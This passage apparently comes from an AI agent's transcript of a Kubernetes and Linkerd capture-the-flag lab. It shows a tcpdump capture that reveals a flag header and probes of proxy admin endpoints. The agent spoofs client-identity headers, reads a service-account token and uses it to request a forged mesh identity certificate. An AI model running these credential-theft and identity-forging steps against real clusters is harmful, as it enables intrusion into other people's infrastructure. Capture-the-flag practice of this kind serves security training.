protected]./.=....*~..... .C...C.. 11:27:39.326389 lo In IP receiver-794df886d7-8f427.http-alt > receiver-794df886d7-8f427.44994: Flags [.], ack 210, win 512, options [nop,nop,TS val 256055734 ecr 256055734], length 0 E..4..@.@.~...T...T....../.=...:....*~..... .C...C.. 11:27:44.345641 lo In IP receiver-794df886d7-8f427.45000 > receiver-794df886d7-8f427.http-alt: Flags [S], seq 3369869820, win 65495, options [mss 65495,sackOK,TS val 256060754 ecr 0,nop,wscale 7], length 0 E..<6b@[email protected].......!.........*.......... .C-R........ 11:27:44.345652 lo In IP receiver-794df886d7-8f427.http-alt > receiver-794df886d7-8f427.45000: Flags [S.], seq 796882430, ack 3369869821, win 65483, options [mss 65495,sackOK,TS val 256060754 ecr 256060754,nop,wscale 7], length 0 E..<..@[email protected]...../.u...!.....*.......... .C-R.C-R.... 11:27:44.345662 lo In IP receiver-794df886d7-8f427.45000 > receiver-794df886d7-8f427.http-alt: Flags [.], ack 1, win 512, options [nop,nop,TS val 256060754 ecr 256060754], length 0 E..46c@.@.. ..T...T.......!./.u.....*~..... .C-R.C-R 11:27:44.345767 lo In IP receiver-794df886d7-8f427.45000 > receiver-794df886d7-8f427.http-alt: Flags [P.], seq 1:209, ack 1, win 512, options [nop,nop,TS val 256060754 ecr 256060754], length 208: HTTP: GET / HTTP/1.1 E...6d@[email protected].......!./.u.....+N..... .C-R.C-RGET / HTTP/1.1 host: receiver.production:8080 user-agent: curl/8.14.1 accept: */* x-flag: flag_ctf{caught_in_the_wire} l5d-client-id: default.supersecret.serviceaccount.identity.linkerd.cluster.local 11:27:44.345775 lo In IP receiver-794df886d7-8f427.http-alt > receiver-794df886d7-8f427.45000: Flags [.], ack 209, win 510, options [nop,nop,TS val 256060754 ecr 256060754], length 0 E..4..@[email protected]...../.u...".....*~..... .C-R.C-R 11:27:44.346207 lo In IP receiver-794df886d7-8f427.http-alt > receiver-794df886d7-8f427.45000: Flags [P.], seq 1:95, ack 209, win 512, options [nop,nop,TS val 256060754 ecr 256060754], length 94: HTTP: HTTP/1.0 200 OK E.....@[email protected]...../.u...".....*...... .C-R.C-RHTTP/1.0 200 OK Server: SimpleHTTP/0.6 Python/3.14.3 Date: Wed, 25 Mar 2026 11:27:44 GMT 11:27:44.346229 lo In IP receiver-794df886d7-8f427.45000 > receiver-794df886d7-8f427.http-alt: Flags [.], ack 95, win 512, options [nop,nop,TS val 256060754 ecr 256060754], length 0 E..46e@[email protected]......."./.v]....*~..... .C-R.C-R 11:27:44.346247 lo In IP receiver-794df886d7-8f427.http-alt > receiver-794df886d7-8f427.45000: Flags [P.], seq 95:126, ack 209, win 512, options [nop,nop,TS val 256060754 ecr 256060754], length 31: HTTP E..S..@[email protected]...../.v]..".....*...... .C-R.C-RRequest successfully received. 11:27:44.346247 lo In IP receiver-794df886d7-8f427.45000 > receiver-794df886d7-8f427.http-alt: Flags [.], ack 126, win 512, options [nop,nop,TS val 256060754 ecr 256060754], length 0 E..46f@[email protected]......."./.v|....*~..... .C-R.C-R 11:27:44.346276 lo In IP receiver-794df886d7-8f427.http-alt > receiver-794df886d7-8f427.45000: Flags [F.], seq 126, ack 209, win 512, options [nop,nop,TS val 256060754 ecr 256060754], length 0 E..4..@[email protected]...../.v|..".....*~..... .C-R.C-R 11:27:44.346464 lo In IP receiver-794df886d7-8f427.45000 > receiver-794df886d7-8f427.http-alt: Flags [F.], seq 209, ack 127, win 512, options [nop,nop,TS val 256060755 ecr 256060754], length 0 E..46g@[email protected]......."./.v}....*~..... .C-S.C-R 11:27:44.346480 lo In IP receiver-794df886d7-8f427.http-alt > receiver-794df886d7-8f427.45000: Flags [.], ack 210, win 512, options [nop,nop,TS val 256060755 ecr 256060755], length 0 E..4..@[email protected]...../.v}..".....*~..... .C-S.C-S [?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit [?2004l exit Connection to 35.179.133.134 closed.
FLAG FOUND: flag_ctf{caught_in_the_wire}
Captured via tcpdump! The supersecret service sends a request every 5 seconds to the receiver with the flag in the x-flag HTTP header:
GET / HTTP/1.1
host: receiver.production:8080
x-flag: flag_ctf{caught_in_the_wire}
l5d-client-id: default.supersecret.serviceaccount.identity.linkerd.cluster.local
Now let me check - we still need Flag 1 from the gateway. Let me also check if the backend service has anything now that we have more context.
{
echo "echo '=== BACKEND FROM DEBUG VERBOSE ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -sv http://backend.backend.svc.cluster.local:8080 2>&1
echo '=== BACKEND FROM JUMPPOD ==='
curl -s http://10.104.138.143:8080 2>&1
echo '=== GATEWAY FROM DEBUG WITH --connect-to ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -svk --http1.1 https://10.111.253.191 2>&1 | tail -10"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_ _\|^( \\\|^ )\|^(_/\|^\!' | grep -v '^\[?' | grep -v '^\]0;' | tail -40exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== BACKEND FROM DEBUG VERBOSE ==='
[?2004l
=== BACKEND FROM DEBUG VERBOSE ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- curl -sv http://backend.backend.svc.cluster.local:8080 2>&1
1
[?2004l
* Host backend.backend.svc.cluster.local:8080 was resolved.
* IPv6: (none)
* IPv4: 10.104.138.143
* Trying 10.104.138.143:8080...
* Connected to backend.backend.svc.cluster.local (10.104.138.143) port 8080
* using HTTP/1.x
> GET / HTTP/1.1
> Host: backend.backend.svc.cluster.local:8080
> User-Agent: curl/8.14.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 403 Forbidden
< date: Wed, 25 Mar 2026 11:28:06 GMT
< content-length: 0
<
* Connection #0 to host backend.backend.svc.cluster.local left intact
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho '=== BACKEND FROM JUMPPOD ==='
[?2004l
=== BACKEND FROM JUMPPOD ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# curl -s http://10.104.138.143:8080 2>&1
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho '=== GATEWAY FROM DEBUG WITH --connect-to ===
='
[?2004l
=== GATEWAY FROM DEBUG WITH --connect-to ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- curl -svk --http1.1 https://10.111.253.191 2>&1 | tail -10
[A427 -c debug-tools -- curl -svk --http1.1 https://10.111.253.191 2>&1 | tail -1[K0
[?2004l
> User-Agent: curl/8.14.1
> Accept: */*
>
* Request completely sent off
{ [5 bytes data]
* TLSv1.3 (IN), TLS alert, unknown (628):
{ [2 bytes data]
* OpenSSL SSL_read: OpenSSL/3.5.5: error:0A00045C:SSL routines::tlsv13 alert certificate required, errno 0
* closing connection #0
command terminated with exit code 56
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004l
exit
Connection to 35.179.133.134 closed.Found 2 flags. Let me report those and continue working on the gateway flag. The backend returns 403. Let me try to get the Linkerd proxy's identity cert from admin endpoints.
Flags found so far:
- flag_ctf{not_so_supersecret_anymore} (supersecret service, via MeshTLSAuthentication modification)
- flag_ctf{caught_in_the_wire} (tcpdump capture, x-flag header in periodic request from supersecret)
Now let me try to extract the Linkerd proxy's identity cert for the gateway.
{
echo "echo '=== PROXY ADMIN ENDPOINTS ==='"
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'for ep in / /ready /live /metrics /proxy-log-level /shutdown /identity /env /config /certificates /certs /tls /admin; do echo -n \"EP \$ep: \"; curl -s -o /dev/null -w \"%{http_code}\" http://localhost:4191\$ep; echo; done' 2>&1"
echo "echo '=== CHECK /env ==='"
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/env 2>&1 | head -30"
echo "echo '=== PROXY OUTBOUND DEBUG ==='"
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'echo | openssl s_client -connect 10.111.253.191:443 -showcerts 2>&1 | grep -E \"(subject|issuer|BEGIN|END)\"'"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_ _\|^( \\\|^ )\|^(_/\|^\!' | grep -v '^\[?' | grep -v '^\]0;' | tail -40echo '=== PROXY OUTBOUND DEBUG ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'echo | openssl s_client -connect 10.111.253.191:443 -showcerts 2>&1 | grep -E "(subject|issuer|BEGIN|END)"'
exit
echo '=== PROXY ADMIN ENDPOINTS ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'for ep in / /ready /live /metrics /proxy-log-level /shutdown /identity /env /config /certificates /certs /tls /admin; do echo -n "EP $ep: "; curl -s -o /dev/null -w "%{http_code}" http://localhost:4191$ep; echo; done' 2>&1
echo '=== CHECK /env ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/env 2>&1 | head -30
echo '=== PROXY OUTBOUND DEBUG ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'echo | openssl s_client -connect 10.111.253.191:443 -showcerts 2>&1 | grep -E "(subject|issuer|BEGIN|END)"'
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== PROXY ADMIN ENDPOINTS ==='
[?2004l
=== PROXY ADMIN ENDPOINTS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- sh -c 'for ep in / /ready /live /metrics /proxy-log-level /
/shutdown /identity /env /config /certificates /certs /tls /admin; do echo -n "EP
P $ep: "; curl -s -o /dev/null -w "%{http_code}" http://localhost:4191$ep; echo;
done' 2>&1
[?2004l
EP /: 404
EP /ready: 200
EP /live: 200
EP /metrics: 200
EP /proxy-log-level: 200
EP /shutdown: 405
EP /identity: 404
EP /env: 404
EP /config: 404
EP /certificates: 404
EP /certs: 404
EP /tls: 404
EP /admin: 404
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho '=== CHECK /env ==='
[?2004l
=== CHECK /env ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- curl -s http://localhost:4191/env 2>&1 | head -30
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho '=== PROXY OUTBOUND DEBUG ==='
[?2004l
=== PROXY OUTBOUND DEBUG ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- sh -c 'echo | openssl s_client -connect 10.111.253.191:443
-showcerts 2>&1 | grep -E "(subject|issuer|BEGIN|END)"'
[?2004l
verify error:num=20:unable to get local issuer certificate
-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----
subject=CN=gateway.default.svc
issuer=O=Linkerd-CTF, CN=Linkerd-CTF
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004l
exit
Connection to 35.179.133.134 closed.{
echo "kubectl auth can-i --list -n backend 2>&1 | head -10"
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -sv http://backend.backend.svc.cluster.local:8080/flag 2>&1 | tail -10"
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -sv -H 'x-flag: flag_ctf{caught_in_the_wire}' http://backend.backend.svc.cluster.local:8080 2>&1 | tail -10"
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -sv -H 'l5d-client-id: default.supersecret.serviceaccount.identity.linkerd.cluster.local' http://backend.backend.svc.cluster.local:8080 2>&1 | tail -10"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_ _\|^( \\\|^ )\|^(_/\|^\!' | grep -v '^\[?' | grep -v '^\]0;' | tail -40clienttrafficpolicies.gateway.envoyproxy.io [] [] [get watch list]
envoyproxies.gateway.envoyproxy.io [] [] [get watch list]
gateways.gateway.networking.k8s.io [] [] [get watch list]
[/.well-known/openid-configuration/] [] [get]
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- curl -sv http://backend.backend.svc.cluster.local:8080/flag
g 2>&1 | tail -10
[?2004l
> Host: backend.backend.svc.cluster.local:8080
> User-Agent: curl/8.14.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 403 Forbidden
< date: Wed, 25 Mar 2026 11:29:07 GMT
< content-length: 0
<
* Connection #0 to host backend.backend.svc.cluster.local left intact
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- curl -sv -H 'x-flag: flag_ctf{caught_in_the_wire}' http://b
backend.backend.svc.cluster.local:8080 2>&1 | tail -10
[?2004l
> User-Agent: curl/8.14.1
> Accept: */*
> x-flag: flag_ctf{caught_in_the_wire}
>
* Request completely sent off
< HTTP/1.1 403 Forbidden
< date: Wed, 25 Mar 2026 11:29:07 GMT
< content-length: 0
<
* Connection #0 to host backend.backend.svc.cluster.local left intact
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- curl -sv -H 'l5d-client-id: default.supersecret.serviceacco
ount.identity.linkerd.cluster.local' http://backend.backend.svc.cluster.local:808
80 2>&1 | tail -10
[?2004l
> User-Agent: curl/8.14.1
> Accept: */*
> l5d-client-id: default.supersecret.serviceaccount.identity.linkerd.cluster.local
>
* Request completely sent off
< HTTP/1.1 403 Forbidden
< date: Wed, 25 Mar 2026 11:29:07 GMT
< content-length: 0
<
* Connection #0 to host backend.backend.svc.cluster.local left intact
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004l
exit
Connection to 35.179.133.134 closed.{
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
echo "# Generate a new ECDSA key pair"
echo "openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>&1"
echo "# Create CSR"
echo "openssl req -new -key /tmp/mykey.pem -out /tmp/mycsr.pem -subj \"/CN=LinkerdClientUser\" 2>&1"
echo "# Get the SA token"
echo "TOKEN=\$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
echo "# Try calling Linkerd identity service directly with curl"
echo "curl -svk https://linkerd-identity.linkerd.svc.cluster.local:8080 2>&1 | tail -5"
echo "# Download grpcurl"
echo "curl -sL https://github.com/fullstorydev/grpcurl/releases/download/v1.9.3/grpcurl_1.9.3_linux_x86_64.tar.gz 2>/dev/null | tar xz -C /tmp/ grpcurl 2>&1 && echo grpcurl_installed || echo grpcurl_failed"
echo "'"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -20[?2004l [?2004h> # Generate a new ECDSA key pair [?2004l [?2004h> openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>&1 [?2004l [?2004h> # Create CSR [?2004l [?2004h> openssl req -new -key /tmp/mykey.pem -out /tmp/mycsr.pem -subj "/CN=LinkerdClie entUser" 2>&1 [?2004l [?2004h> # Get the SA token [?2004l [?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) [?2004l [?2004h> # Try calling Linkerd identity service directly with curl [?2004l [?2004h> curl -svk https://linkerd-identity.linkerd.svc.cluster.local:8080 2>&1 | tail - -5 [?2004l [?2004h> # Download grpcurl [?2004l [?2004h> curl -sL https://github.com/fullstorydev/grpcurl/releases/download/v1.9.3/grpcu url_1.9.3_linux_x86_64.tar.gz 2>/dev/null | tar xz -C /tmp/ grpcurl 2>&1 && echo grpcurl_installed || echo grpcurl_failed [?2004l [?2004h> ' [?2004l } [5 bytes data] * TLSv1.3 (OUT), TLS handshake, Client hello (1): } [1597 bytes data] * TLS connect error: error:0A00010B:SSL routines::wrong version number * closing connection #0 grpcurl_installed [?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit [?2004l exit Connection to 35.179.133.134 closed.
{
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
echo "/tmp/grpcurl -plaintext linkerd-identity.linkerd.svc.cluster.local:8080 list 2>&1"
echo "echo === "
echo "/tmp/grpcurl -plaintext linkerd-identity.linkerd.svc.cluster.local:8080 describe io.linkerd.proxy.identity.Identity 2>&1"
echo "'"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -30The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside. The gateway is bouncing your request because you are missing a client certificate. Veel succes (Good luck), Operator! Stay stealthy and mind the bikes. kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c ' /tmp/grpcurl -plaintext linkerd-identity.linkerd.svc.cluster.local:8080 list 2>&1 echo === /tmp/grpcurl -plaintext linkerd-identity.linkerd.svc.cluster.local:8080 describe io.linkerd.proxy.identity.Identity 2>&1 ' exit kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c ' /tmp/grpcurl -plaintext linkerd-identity.linkerd.svc.cluster.local:8080 list 2>&1 echo === /tmp/grpcurl -plaintext linkerd-identity.linkerd.svc.cluster.local:8080 describe io.linkerd.proxy.identity.Identity 2>&1 ' exit [?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4 427 -c debug-tools -- sh -c ' [?2004l [?2004h> /tmp/grpcurl -plaintext linkerd-identity.linkerd.svc.cluster.local:8080 list 2> >&1 [?2004l [?2004h> echo === [?2004l [?2004h> /tmp/grpcurl -plaintext linkerd-identity.linkerd.svc.cluster.local:8080 describ be io.linkerd.proxy.identity.Identity 2>&1 [?2004l [?2004h> ' [?2004l Failed to list services: rpc error: code = Internal desc = server closed the stream without sending trailers === Failed to resolve symbol "io.linkerd.proxy.identity.Identity": rpc error: code = Internal desc = server closed the stream without sending trailers command terminated with exit code 1 [?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit [?2004l exit command terminated with exit code 1 Connection to 35.179.133.134 closed.
{
echo "cat /root/.bash_history 2>&1"
echo "echo '=== CHECK .kube/config ==='"
echo "cat /root/.kube/config 2>&1"
echo "echo '=== CHECK /etc/profile.d ==='"
echo "ls -la /etc/profile.d/ 2>&1"
echo "cat /etc/profile.d/* 2>&1"
echo "echo '=== CHECK MOTD ==='"
echo "cat /etc/motd 2>&1"
echo "cat /etc/profile 2>&1 | head -20"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_ _\|^( \\\|^ )\|^(_/\|^\!' | grep -v '^\[?' | grep -v '^\]0;' | tail -60# Generate a new ECDSA key pair
openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>&1
# Create CSR
openssl req -new -key /tmp/mykey.pem -out /tmp/mycsr.pem -subj "/CN=LinkerdClientUser" 2>&1
# Get the SA token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# Try calling Linkerd identity service directly with curl
curl -svk https://linkerd-identity.linkerd.svc.cluster.local:8080 2>&1 | tail -5
# Download grpcurl
curl -sL https://github.com/fullstorydev/grpcurl/releases/download/v1.9.3/grpcurl_1.9.3_linux_x86_64.tar.gz 2>/dev/null | tar xz -C /tmp/ grpcurl 2>&1 && echo grpcurl_installed || echo grpcurl_failed
'
exit
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '
/tmp/grpcurl -plaintext linkerd-identity.linkerd.svc.cluster.local:8080 list 2>&1
echo ===
/tmp/grpcurl -plaintext linkerd-identity.linkerd.svc.cluster.local:8080 describe io.linkerd.proxy.identity.Identity 2>&1
'
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== CHECK .kube/config ==='
[?2004l
=== CHECK .kube/config ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# cat /root/.kube/config 2>&1
[?2004l
cat: /root/.kube/config: No such file or directory
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== CHECK /etc/profile.d ==='
[?2004l
=== CHECK /etc/profile.d ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# ls -la /etc/profile.d/ 2>&1
[?2004l
total 12
drwxr-xr-x 2 root root 4096 Feb 10 14:11 [0m[01;34m.[0m
drwxr-xr-x 1 root root 4096 Feb 24 15:31 [01;34m..[0m
-rw-r--r-- 1 root root 96 Oct 15 2021 01-locale-fix.sh
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# cat /etc/profile.d/* 2>&1
[?2004l
# Make sure the locale variables are set to valid values.
eval $(/usr/bin/locale-check C.UTF-8)
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== CHECK MOTD ==='
[?2004l
=== CHECK MOTD ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# cat /etc/motd 2>&1
[?2004l
cat: /etc/motd: No such file or directory
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# cat /etc/profile 2>&1 | head -20
[?2004l
# /etc/profile: system-wide .profile file for the Bourne shell (sh(1))
# and Bourne compatible shells (bash(1), ksh(1), ash(1), ...).
if [ "${PS1-}" ]; then
if [ "${BASH-}" ] && [ "$BASH" != "/bin/sh" ]; then
# The file bash.bashrc already sets the default PS1.
# PS1='\h:\w\$ '
if [ -f /etc/bash.bashrc ]; then
. /etc/bash.bashrc
fi
else
if [ "$(id -u)" -eq 0 ]; then
PS1='# '
else
PS1='$ '
fi
fi
fi
if [ -d /etc/profile.d ]; then
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.Let me try to get the Linkerd trust anchor from the production pod's environment, then use the identity service to get a properly signed cert.
{
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
echo "# Check SA token and try calling identity service with proto from linkerd source"
echo "TOKEN=\$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
echo "# Generate new key and CSR"
echo "openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>&1"
echo "openssl req -new -key /tmp/mykey.pem -out /tmp/mycsr.pem -subj \"/CN=default.production.serviceaccount.identity.linkerd.cluster.local\" -outform DER 2>&1"
echo "CSR_B64=\$(base64 -w0 /tmp/mycsr.pem)"
echo "# Try the Certify RPC with curl HTTP/2"
echo "/tmp/grpcurl -plaintext -d \"{\\\"token\\\": \\\"\$TOKEN\\\", \\\"identity\\\": \\\"default.production.serviceaccount.identity.linkerd.cluster.local\\\", \\\"certificate_signing_request\\\": \\\"\$CSR_B64\\\"}\" -proto /dev/stdin linkerd-identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify <<PROTO"
echo 'syntax = "proto3";'
echo 'package io.linkerd.proxy.identity;'
echo 'service Identity { rpc Certify (CertifyRequest) returns (CertifyResponse); }'
echo 'message CertifyRequest { string identity = 1; bytes certificate_signing_request = 2; string token = 3; }'
echo 'message CertifyResponse { bytes leaf_certificate = 1; repeated bytes intermediate_certificates = 2; }'
echo "PROTO"
echo "'"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -30syntax = "proto3";
package io.linkerd.proxy.identity;
service Identity { rpc Certify (CertifyRequest) returns (CertifyResponse); }
message CertifyRequest { string identity = 1; bytes certificate_signing_request = 2; string token = 3; }
message CertifyResponse { bytes leaf_certificate = 1; repeated bytes intermediate_certificates = 2; }
PROTO
'
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- sh -c '
[?2004l
[?2004h> # Check SA token and try calling identity service with proto from linkerd sourc
ce
[?2004l
[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l
[?2004h> # Generate new key and CSR
[?2004l
[?2004h> openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>&1
[?2004l
[?2004h> openssl req -new -key /tmp/mykey.pem -out /tmp/mycsr.pem -subj "/CN=default.pro
oduction.serviceaccount.identity.linkerd.cluster.local" -outform DER 2>&1
[?2004l
[?2004h> CSR_B64=$(base64 -w0 /tmp/mycsr.pem)
[?2004l
[?2004h> # Try the Certify RPC with curl HTTP/2
[?2004l
[?2004h> /tmp/grpcurl -plaintext -d "{\"token\": \"$TOKEN\", \"identity\": \"default.pro
oduction.serviceaccount.identity.linkerd.cluster.local\", \"certificate_signing_r
request\": \"$CSR_B64\"}" -proto /dev/stdin linkerd-identity.linkerd.svc.cluster.
.local:8080 io.linkerd.proxy.identity.Identity/Certify <<PROTO
[?2004l
[?2004h> syntax = "proto3";
[?2004l
[?2004h> package io.linkerd.proxy.identity;
[?2004l
[?2004h> service Identity { rpc Certify (CertifyRequest) returns (CertifyResponse); }
[?2004l
[?2004h> message CertifyRequest { string identity = 1; bytes certificate_signing_request
t = 2; string token = 3; }
[?2004l
[?2004h> message CertifyResponse { bytes leaf_certificate = 1; repeated bytes intermedia
ate_certificates = 2; }
[?2004l
[?2004h> PROTO
[?2004l
[?2004h> '
[?2004l
Failed to process proto source files.: must specify at least one import path if any absolute file paths are given
command terminated with exit code 1
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
command terminated with exit code 1
Connection to 35.179.133.134 closed.{
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
echo "cat > /tmp/identity.proto << PROTOEOF"
echo 'syntax = "proto3";'
echo 'package io.linkerd.proxy.identity;'
echo 'service Identity { rpc Certify (CertifyRequest) returns (CertifyResponse); }'
echo 'message CertifyRequest { string identity = 1; bytes certificate_signing_request = 2; string token = 3; }'
echo 'message CertifyResponse { bytes leaf_certificate = 1; repeated bytes intermediate_certificates = 2; }'
echo "PROTOEOF"
echo "TOKEN=\$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
echo "openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>/dev/null"
echo "openssl req -new -key /tmp/mykey.pem -out /tmp/mycsr.der -subj \"/CN=default.production.serviceaccount.identity.linkerd.cluster.local\" -outform DER 2>/dev/null"
echo "CSR_B64=\$(base64 -w0 /tmp/mycsr.der)"
echo "/tmp/grpcurl -plaintext -import-path /tmp -proto identity.proto -d \"{\\\"token\\\": \\\"\$TOKEN\\\", \\\"identity\\\": \\\"default.production.serviceaccount.identity.linkerd.cluster.local\\\", \\\"certificate_signing_request\\\": \\\"\$CSR_B64\\\"}\" linkerd-identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify 2>&1"
echo "'"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -30PROTOEOF
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>/dev/null
openssl req -new -key /tmp/mykey.pem -out /tmp/mycsr.der -subj "/CN=default.production.serviceaccount.identity.linkerd.cluster.local" -outform DER 2>/dev/null
